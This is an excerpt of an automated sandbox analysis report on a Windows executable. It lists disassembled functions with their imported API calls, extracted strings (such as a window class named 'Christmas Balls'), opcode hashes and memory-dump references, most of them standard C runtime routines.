Opcode Fuzzy Hash: c70e6f87bbd5d67e7517055f0b5102711cc69c42f053048f69305a55bd0ebaba
Instruction Fuzzy Hash: 69F0AB3A31030957CB09DF35D89976ABFE0EFC1720F0A4058EF058B280C2B19982C794

Function 0023B5BC Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,00235950,?,20001004,00000000,00000002,?,?,00234862), ref: 0023B5F0

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ee824676d43be1841cc2b65f74aaa68202e438f603a1b1390d92c70935c22fce
Instruction ID: 5cbae91b40ea7943cf1c0a08a2be3d003e01b64eed184cfe2974ab7fe4f1aea5
Opcode Fuzzy Hash: ee824676d43be1841cc2b65f74aaa68202e438f603a1b1390d92c70935c22fce
Instruction Fuzzy Hash: 77E04F72910218BBCF236F61EC08A9E7F25EF44791F108011FE0565221CB71CA31AA98

Function 0022D863 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000D984), ref: 0022D868

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: aaf3565c5566ff0f8c41bd20e0e973d4187c1ce465b53c8fd3366836df113a4c
Instruction ID: 2534e0028dd3a87412a90bcbfa496b263aeb0b840c0dadb1a90398b06c9e9703
Opcode Fuzzy Hash: aaf3565c5566ff0f8c41bd20e0e973d4187c1ce465b53c8fd3366836df113a4c
Instruction Fuzzy Hash:

Function 0023C275 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0023C275

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 0364b532dedc612c1cf6032aefb717e67b8544cfc101a92d00092215f0ca6e03
Instruction ID: 7c320992a42df03f5b42b0a1d991b529fcae0f73319df5cfd0eb3a2ec3724cd4
Opcode Fuzzy Hash: 0364b532dedc612c1cf6032aefb717e67b8544cfc101a92d00092215f0ca6e03
Instruction Fuzzy Hash: 26A01130A203008B83008F32BA0C2083BA8AA802C230A8028A000E00B0EA388880AF0A

Function 00221F20 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 118windowregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00221F53
RegisterClassW.USER32(?), ref: 00221F6A
CreateWindowExW.USER32 ref: 00221FCA
GetLastError.KERNEL32 ref: 00221FD4
GetMessageW.USER32(Christmas Balls,00000000,00000000,00000000), ref: 00222000
GetMessageW.USER32(00000000,00000000,00000000,00000000), ref: 0022203D

Strings

Keep low..., xrefs: 00222052
Christmas Balls, xrefs: 00221F5D, 00221FBB, 00221FFF
CreatingTool, xrefs: 00221FB3
[err id]: %i, xrefs: 00221FDB

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Message$ClassCreateErrorHandleLastModuleRegisterWindow
String ID: Christmas Balls$CreatingTool$Keep low...$[err id]: %i
API String ID: 91802587-478130180
Opcode ID: 129289fd0d95153b45c3c335ee487141f23fa5fcfe7247362ef1068c339ca247
Instruction ID: 150aa13a4215b8f1aa0a404bc79e28819560cd65be722921487d5a385dfba0c3
Opcode Fuzzy Hash: 129289fd0d95153b45c3c335ee487141f23fa5fcfe7247362ef1068c339ca247
Instruction Fuzzy Hash: A641D370A28341EFD300DF60E849B2BB7E4BF98705F00561CF9889B250DB71E964CB56

Function 00249712 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(016AFC58,016AFC58,00000000,7FFFFFFF,?,002496FD,016AFC58,016AFC58,00000000,016AFC58,?,?,?,?,016AFC58,00000000), ref: 002497B8
__alloca_probe_16.LIBCMT ref: 00249873
__alloca_probe_16.LIBCMT ref: 00249902
__freea.LIBCMT ref: 0024994D
__freea.LIBCMT ref: 00249953
__freea.LIBCMT ref: 00249989
__freea.LIBCMT ref: 0024998F
__freea.LIBCMT ref: 0024999F

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: dccd086bd7c98febbcaf1ef2873e6fab52d98063a874f8f0a109f80ec487ae8d
Instruction ID: a77b1807e77199eff7a30aefdfe913daa1513ce3fa1fe404cdc3e68e3cf591f3
Opcode Fuzzy Hash: dccd086bd7c98febbcaf1ef2873e6fab52d98063a874f8f0a109f80ec487ae8d
Instruction Fuzzy Hash: FF71F87293024A6FDF299FA48C82FAFB7B9DF45310F150059E944B7242D7759CA0CB51

Function 0022DE85 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0022DECC
__alloca_probe_16.LIBCMT ref: 0022DEF8
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0022DF37
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0022DF54
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0022DF93
__alloca_probe_16.LIBCMT ref: 0022DFB0
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 0022DFF2
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0022E015

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 01820b5e91838856b581c91fb14ebaa471e61facb4963126e32138b1e2bee703
Instruction ID: 89950e66e1e7595f73e5d2471849ea4cf1da5f15be1750b1ef41ca9c0f1f1258
Opcode Fuzzy Hash: 01820b5e91838856b581c91fb14ebaa471e61facb4963126e32138b1e2bee703
Instruction Fuzzy Hash: 2051D472920226BFEF204FE0EC45FAA7BA9EF44780F114425F911AA150D7B4DE219B54

Function 0023D7EB Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0023D871

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 90a798cb3167070a9428d5a8ad016659465e7669ef58dc39ee64ab71c5640075
Instruction ID: 3190abb938c0f5b758e989a418c3d18af350b9def9a9eeebebc4a859e9c5212b
Opcode Fuzzy Hash: 90a798cb3167070a9428d5a8ad016659465e7669ef58dc39ee64ab71c5640075
Instruction Fuzzy Hash: 42B17AB2E243569FDB15CF28DC82BEEBBA5EF15310F144155E944AB282D370A921CBA0

Function 0022EE00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0022EE37
___except_validate_context_record.LIBVCRUNTIME ref: 0022EE3F
_ValidateLocalCookies.LIBCMT ref: 0022EEC8
__IsNonwritableInCurrentImage.LIBCMT ref: 0022EEF3
_ValidateLocalCookies.LIBCMT ref: 0022EF48

Strings

csm, xrefs: 0022EEDD

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 89f03f78e2e30223d25be7f7ee0a59fccb8b6b41c4a2d2c99024ba05c07f5ec8
Instruction ID: e72c0c2e193a5776cd15d3e4c6090d2940bbf3510cc04673f5e240b3499a8810
Opcode Fuzzy Hash: 89f03f78e2e30223d25be7f7ee0a59fccb8b6b41c4a2d2c99024ba05c07f5ec8
Instruction Fuzzy Hash: 1D41E934E20229ABCF10DFA8D845A9EBFB5AF45324F168065F8149B352D731DE21DF91

Function 0022DD27 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0022DD3B
AcquireSRWLockExclusive.KERNEL32(00000008,?,00000000,0024AD5D,000000FF,00000000,00229652,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0022DD5A
AcquireSRWLockExclusive.KERNEL32(00000008,ios_base::badbit set,?,?,00000000,0024AD5D,000000FF,00000000,00229652,?,?,?,?,?,?,00000000), ref: 0022DD88
TryAcquireSRWLockExclusive.KERNEL32(00000008,ios_base::badbit set,?,?,00000000,0024AD5D,000000FF,00000000,00229652,?,?,?,?,?,?,00000000), ref: 0022DDE3
TryAcquireSRWLockExclusive.KERNEL32(00000008,ios_base::badbit set,?,?,00000000,0024AD5D,000000FF,00000000,00229652,?,?,?,?,?,?,00000000), ref: 0022DDFA

Strings

ios_base::badbit set, xrefs: 0022DD71

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID: ios_base::badbit set
API String ID: 66001078-3882152299
Opcode ID: 43d331d543988356f94246db4bfbc96f5fa9c95c90ebc538f2dc6365ba91c71d
Instruction ID: 983be9aeb6471bf1d9725b9ad3277ba66d42b1dc639005d003c8da89954ad2d2
Opcode Fuzzy Hash: 43d331d543988356f94246db4bfbc96f5fa9c95c90ebc538f2dc6365ba91c71d
Instruction Fuzzy Hash: CF417D32920A27EFCB20DFA4E5849BAB3F4FF18311B514919D456DB540D770FA61CB50

Function 0022E13C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0022E142
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 0022E150
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 0022E161

Strings

kernel32.dll, xrefs: 0022E13D
GetSystemTimePreciseAsFileTime, xrefs: 0022E14A
GetTempPath2W, xrefs: 0022E156

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 675fddd07030a209898f6e8aaf1c0342a05fe1b508bcf771858d80cbbb64ce1a
Instruction ID: 95cfd17ce84810cf8125ed2f46aba00e71eacd0c7115338ceed3e167d0c9d5f0
Opcode Fuzzy Hash: 675fddd07030a209898f6e8aaf1c0342a05fe1b508bcf771858d80cbbb64ce1a
Instruction Fuzzy Hash: 8BD0A731972310DB8340DF707D0D95A3AB4EB0E3833004011FC00D2190F7B445288A9C

Function 002438AD Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72c9670ab92ba3af34a01772574ec75c6d0f800f6c2b982f17fd61681a8b1a13
Instruction ID: eb2d29dc1cd2cb80ee4d629547f0a49aaff5bd7d7b4a4177999575b335622faa
Opcode Fuzzy Hash: 72c9670ab92ba3af34a01772574ec75c6d0f800f6c2b982f17fd61681a8b1a13
Instruction Fuzzy Hash: 91B145B0A24345AFDB19DF98D885BAEBBF5FF05314F144159E800AB282D7B09E61CF64

Function 00225640 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 352COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0022589C
Concurrency::cancel_current_task.LIBCPMT ref: 00225A5B

Strings

false, xrefs: 002256CC, 002256E7, 0022572D, 00225748, 002258E9, 002258F7, 0022593D, 00225958
,, xrefs: 0022585C
true, xrefs: 00225784, 00225797, 002257DD, 002257F8, 00225994, 002259A7, 002259ED, 00225A08

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Concurrency::cancel_current_task_strlen
String ID: ,$false$true
API String ID: 575380510-760133229
Opcode ID: 5492def7ae3fb3e8ad94d40ab5ec8a4b0bde24a80184291e35e911355b4f2091
Instruction ID: 67b658acc71b4a85aae56f8d020933a757bd890d7a35c446cffcfc82e970dc4c
Opcode Fuzzy Hash: 5492def7ae3fb3e8ad94d40ab5ec8a4b0bde24a80184291e35e911355b4f2091
Instruction Fuzzy Hash: 8DC1A7B1514715AFD3109FA4DC85B6BB7E8EF94304F04892CF9858B242F775D928CB92

Function 00239664 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0023965B,0022EBD7,0022D9C8), ref: 00239672
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00239680
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00239699
SetLastError.KERNEL32(00000000,0023965B,0022EBD7,0022D9C8), ref: 002396EB

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7e3aa69a48ea7580f805edc5c085c1ea1fb65538c115aaba29b1f28e1ae417a2
Instruction ID: 9a0479cf4c5f62f92e00046787275586a3c2dc301a64900aa588e2e6412fafc5
Opcode Fuzzy Hash: 7e3aa69a48ea7580f805edc5c085c1ea1fb65538c115aaba29b1f28e1ae417a2
Instruction Fuzzy Hash: A201F9B213A7226FA6152EB4BC4F95B275CEB027B6B204229F011550F1EFE18CB09944

Function 00239F2C Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0023A04B
CallUnexpected.LIBVCRUNTIME ref: 0023A2C4

Strings

csm, xrefs: 00239F69
csm, xrefs: 00239FD6
csm, xrefs: 0023A082

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 222040da1c112a1269915584bd64d02069275886150cfc8e2168ea4ceafa42b6
Instruction ID: d0d65f99e3fefa3da1181a308976644bf067331bfb20f6936c404196e748fdf2
Opcode Fuzzy Hash: 222040da1c112a1269915584bd64d02069275886150cfc8e2168ea4ceafa42b6
Instruction Fuzzy Hash: 43B1AFB182020AEFCF18DFA5D8819AEB7B5FF15300F104169E8956B212D772DA71CF92

Function 00223BE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00223BFC
std::_Lockit::_Lockit.LIBCPMT ref: 00223C1A
std::_Lockit::~_Lockit.LIBCPMT ref: 00223C3C
std::_Lockit::~_Lockit.LIBCPMT ref: 00223CAA

Strings

ios_base::badbit set, xrefs: 00223BE2

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: ios_base::badbit set
API String ID: 593203224-3882152299
Opcode ID: 2cf9db49dbd7a24e177ce94a6dd913ca38a9e8e9c889685b5099247b8713b406
Instruction ID: 0134cb67cb307559ac5be8478ef50d2fd136517f82f1861752df98cf6659dc1f
Opcode Fuzzy Hash: 2cf9db49dbd7a24e177ce94a6dd913ca38a9e8e9c889685b5099247b8713b406
Instruction Fuzzy Hash: 8A21BF71918324AFC710EF94F849A2AB7A0FF48725F05455EE8885B3A1D734AE60CF82

Function 0022A5A6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0022A5AD
std::_Lockit::_Lockit.LIBCPMT ref: 0022A5BA
std::_Lockit::_Lockit.LIBCPMT ref: 0022A624
std::_Lockit::~_Lockit.LIBCPMT ref: 0022A63E

Part of subcall function 00229CA8: _Yarn.LIBCPMT ref: 00229CC8
Part of subcall function 00229CA8: _Yarn.LIBCPMT ref: 00229CEC

Strings

bad locale name, xrefs: 0022A608

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Yarn$H_prolog3Lockit::~_
String ID: bad locale name
API String ID: 3084819986-1405518554
Opcode ID: 9516cc92970077acfa37d27b4936916a134d917c26c7667d78d0d51efe35a421
Instruction ID: 46bf87dcb83704056d16462f5728c5e456043b6190223753f2988ff032d05c4b
Opcode Fuzzy Hash: 9516cc92970077acfa37d27b4936916a134d917c26c7667d78d0d51efe35a421
Instruction Fuzzy Hash: BF119371825754EFC720DFA9F481686BBE4FF28310F50496EE08A83641D770AA94CF9A

Function 002340E9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,439473B7,?,?,00000000,0024AD7A,000000FF,?,002341AA,00000002,?,00234246,00236EA9), ref: 0023411E
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00234130
